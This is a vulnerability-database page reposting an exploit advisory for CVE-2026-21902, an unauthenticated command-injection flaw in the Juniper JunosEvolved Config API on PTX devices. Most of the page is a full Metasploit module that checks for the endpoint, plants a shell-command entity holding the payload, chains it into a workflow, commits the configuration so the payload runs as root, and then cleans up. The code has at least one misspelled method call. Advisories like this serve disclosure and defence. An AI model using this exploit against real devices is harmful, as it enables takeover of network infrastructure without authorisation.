Lucene search
K

📄 Juniper JunosEvolved Remote Command Execution

🗓️ 05 Mar 2026 00:00:00Reported by indoushkaType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 116 Views

Critical unauthenticated remote command execution via JunosEvolved Config API commands and commit workflow.

Related
Code
ReporterTitlePublishedViews
Family
GithubExploit
Exploit for CVE-2026-21902
28 Feb 202610:43
githubexploit
ATTACKERKB
CVE-2026-21902
25 Feb 202616:59
attackerkb
Circl
CVE-2026-21902
25 Feb 202618:25
circl
CNNVD
Juniper Networks Junos OS Evolved 安全漏洞
25 Feb 202600:00
cnnvd
CVE
CVE-2026-21902
25 Feb 202616:59
cve
Cvelist
CVE-2026-21902 Junos OS Evolved: PTX Series: A vulnerability allows a unauthenticated, network-based attacker to execute code as root
25 Feb 202616:59
cvelist
EUVD
EUVD-2026-8693
25 Feb 202618:31
euvd
NCSC
Vulnerability fixed in Juniper Junos OS Evolved
27 Feb 202609:48
ncsc
NVD
CVE-2026-21902
25 Feb 202618:23
nvd
Positive Technologies
PT-2026-21964
25 Feb 202600:00
ptsecurity
Rows per page
=============================================================================================================================================
    | # Title     : JunosEvolved via Config API Unauthenticated Remote Command Execution in Juniper                                             |
    | # Author    : indoushka                                                                                                                   |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits)                                                            |
    | # Vendor    : https://www.juniper.net/fr/fr/products/network-operating-system/junos-evolved.html                                          |
    =============================================================================================================================================
    
    [+] Summary    : A critical unauthenticated remote command execution (RCE) vulnerability exists in the Config API of Juniper JunosEvolved. 
                    The flaw allows remote attackers to inject arbitrary system commands without authentication by abusing the /config/command endpoint and the configuration commit workflow.
    
    The vulnerability can be exploited by:
    
    Creating a malicious command entity via the REST API
    
    Linking the command to a DAG workflow
    
    Instantiating the workflow
    
    Triggering a configuration commit
    
    Upon commit, the injected command is executed on the underlying system, resulting in full remote command execution with elevated privileges.
    
    This issue affects Junos OS Evolved on PTX Series devices, specifically:
    
    25.4 versions before 25.4R1-S1-EVO
    
    25.4R2-EVO
    
    Systems running these affected versions are vulnerable if the management interface is exposed.
    
    The issue requires no authentication and can be exploited over HTTPS (default port 8160). Successful exploitation may lead to complete device compromise, configuration manipulation, service disruption, or persistent backdoor deployment.
    
    The provided module in the Metasploit Framework demonstrates reliable exploitation while implementing:
    
    Non-destructive vulnerability probing
    
    Dynamic execution timing synchronization
    
    Strict post-exploitation cleanup of configuration artifacts
    
    Due to the nature of the vulnerability (configuration-level command execution), impact severity is critical for exposed management interfaces.
    			  
    [+] POC   :  
    
    ##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
      Rank = ExcellentRanking
    
      include Msf::Exploit::Remote::HttpClient
      prepend Msf::Exploit::Remote::AutoCheck
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name'           => 'Juniper JunosEvolved Unauthenticated RCE (CVE-2026-21902)',
            'Description'    => %q{
              This module exploits an unauthenticated command injection vulnerability in the 
              Juniper JunosEvolved API. The exploit workflow involves creating a custom command 
              entity, mapping it to a Directed Acyclic Graph (DAG), and triggering an execution 
              instance. The module uses a non-destructive POST probe to verify write access 
              and handles configuration commits with dynamic synchronization delays.
            },
            'Author'         => ['indoushka'],
            'License'        => MSF_LICENSE,
            'References'     => [['CVE', '2026-21902']],
            'Platform'       => ['unix', 'linux'],
            'Arch'           => ARCH_CMD,
            'Payload'        => {
              'Space'       => 4096,
              'BadChars'    => "\x00",
              'DisableNops' => true,
              'Compat'      => { 'PayloadType' => 'cmd' }
            },
            'Targets'        => [['JunosEvolved Generic', {}]],
            'DefaultTarget'  => 0,
            'DisclosureDate' => '2026-01-15',
            'DefaultOptions' => { 'SSL' => true },
            'Notes'          => {
              'Stability'   => [CRASH_SAFE],
              'Reliability' => [REPEATABLE_SESSION],
              'SideEffects' => [CONFIG_MODIFICATIONS]
            }
          )
        )
    
        register_options([
          Opt::RPORT(8160),
          OptString.new('TARGET_PLATFORM', [true, 'Target model (e.g., PTX10001-36MR)', 'PTX10001-36MR']),
          OptInt.new('WTIMEOUT', [true, 'HTTP commit response timeout (Min 5)', 30])
        ])
      end
      def check
        res = send_request_cgi({ 'method' => 'GET', 'uri' => '/config/command' })
        return Exploit::CheckCode::Unknown unless res
        return Exploit::CheckCode::Safe unless res.code == 200
    
        json = res.get_json_document rescue nil
        return Exploit::CheckCode::Safe if json.nil?
    
        detected = false
        if json.is_a?(Array)
          detected = json.any? { |e| e.is_a?(Hash) && e.key?('syntax') }
        elsif json.is_a?(Hash)
          detected = json.key?('syntax') && json.key?('type')
        end
    
        return Exploit::CheckCode::Safe unless detected
        probe_name = "msf_probe_#{Rex::Text.rand_text_alpha(6)}"
        test_probe = send_request_json('POST', "/config/command/#{probe_name}", {
          'syntax' => '',         
          'type'   => 'INVALID'   
        })
        if test_probe && test_probe.code == 400
          return Exploit::CheckCode::Appears
        end
    
        Exploit::CheckCode::Detected
      rescue ::Rex::ConnectionError
        Exploit::CheckCode::Unknown
      end
    
      def exploit
        wtimeout = datastore['WTIMEOUT']
        fail_with(Failure::BadConfig, 'WTIMEOUT must be >= 5') if wtimeout < 5
    
        @entities = {
          cmd:  "config_cmd_#{Rex::Text.rand_text_alpha(12).downcase}",
          dag:  "dag_workflow_#{Rex::Text.rand_text_alpha(12).downcase}",
          inst: "inst_exec_#{Rex::Text.rand_text_alpha(12).downcase}"
        }
        action_name = "action_#{Rex::Text.rand_text_alpha(8).downcase}"
    
        print_status("Creating command entity [#{@entities[:cmd]}]")
        res = send_request_json('POST', "/config/command/#{@entities[:cmd]}", {
          'syntax'  => payload.encoded,
          'type'    => 'RE-SHELL',
          'parsing' => {},
          'outputs' => { 'result' => { 'type' => 'str' } }
        })
        fail_with(Failure::UnexpectedReply, 'Command creation failed') unless verify_success(res)
    
        print_status("Creating DAG entity [#{@entities[:dag]}]")
        res = send_request_json('POST', "/config/dag/#{@entities[:dag]}", {
          'start'   => [action_name],
          'actions' => { action_name => { 'command' => @entities[:cmd], 'inputs' => {} } }
        })
        fail_with(Failure::UnexpectedReply, 'DAG creation failed') unless verify_success(res)
    
        # Dynamic delay calculation with safe boundaries
        dynamic_delay = (wtimeout / 2.0).ceil
        dynamic_delay = 5 if dynamic_delay < 5
        dynamic_delay = wtimeout if dynamic_delay > wtimeout
    
        print_status("Triggering instance [#{@entities[:inst]}] (Delay: #{dynamic_delay}s)")
        res = send_request_json('POST', "/config/dag-instance/#{@entities[:inst]}", {
          'dag'      => @entities[:dag],
          'enabled'  => true,
          'platform' => datastore['TARGET_PLATFORM'],
          'schedule' => { 'delay' => dynamic_delay }
        })
        fail_with(Failure::UnexpectedReply, 'Instance creation failed') unless verify_success(res)
    
        print_status("Committing configuration (WTIMEOUT: #{wtimeout}s)...")
        res = send_request_cgi({
          'method'  => 'POST',
          'uri'     => '/config/commit',
          'timeout' => wtimeout
        })
        if res.nil? || res.code == 200
          print_good("Commit accepted. Waiting #{dynamic_delay}s for payload execution...")
          Rex.sleep(dynamic_delay)
          handler
        else
          fail_with(Failure::UnexpectedReply, "Commit failed with code #{res&.code}. Aborting.")
        end
      end
    
      def send_request_json(method, uri, data)
        send_request_cgi({
          'method' => method,
          'uri'    => uri,
          'ctype'  => 'application/json',
          'data'   => data.to_json
        })
      end
      def verify_success(res)
        return false unless res && res.code.between?(200, 299)
        return true if res.code == 204 && res.body.to_s.empty?
        return true if res.code == 201
    
        if res.body && !res.body.empty?
          json = res.get_json_document rescue nil
          if json.is__a?(Hash)
            status = json['status'].to_s.downcase
            return true if json['success'] == true
            return true if %w[ok success done completed created].include?(status)
            return false if json.key?('error') || json['success'] == false
          end
          return false if res.body =~ /error|failed|exception/i
        end
    
        false
      end
    
      def cleanup
        return unless defined?(@entities) && @entities.is_a?(Hash)
        print_status("Cleanup: Removing configuration artifacts...")
    
        [:inst, :dag, :cmd].each do |type|
          next unless @entities[type]
          uri_part = (type == :inst) ? 'dag-instance' : type.to_s
          res = send_request_cgi({
            'method' => 'DELETE',
            'uri'    => "/config/#{uri_part}/#{@entities[type]}"
          })
    
          unless res && res.code.between?(200, 299)
            print_warning("Failed to delete #{type}: #{res&.code || 'No response'}")
          end
        end
    
        res = send_request_cgi({ 'method' => 'POST', 'uri' => '/config/commit', 'timeout' => 20 })
        if res && res.code.between?(200, 299)
          print_good("Cleanup commit successful.")
        else
          print_warning("Cleanup commit failed. Manual artifact removal recommended.")
        end
        super
      end
    end
    
    	
    Greetings to :==============================================================================
    jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
    ============================================================================================

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation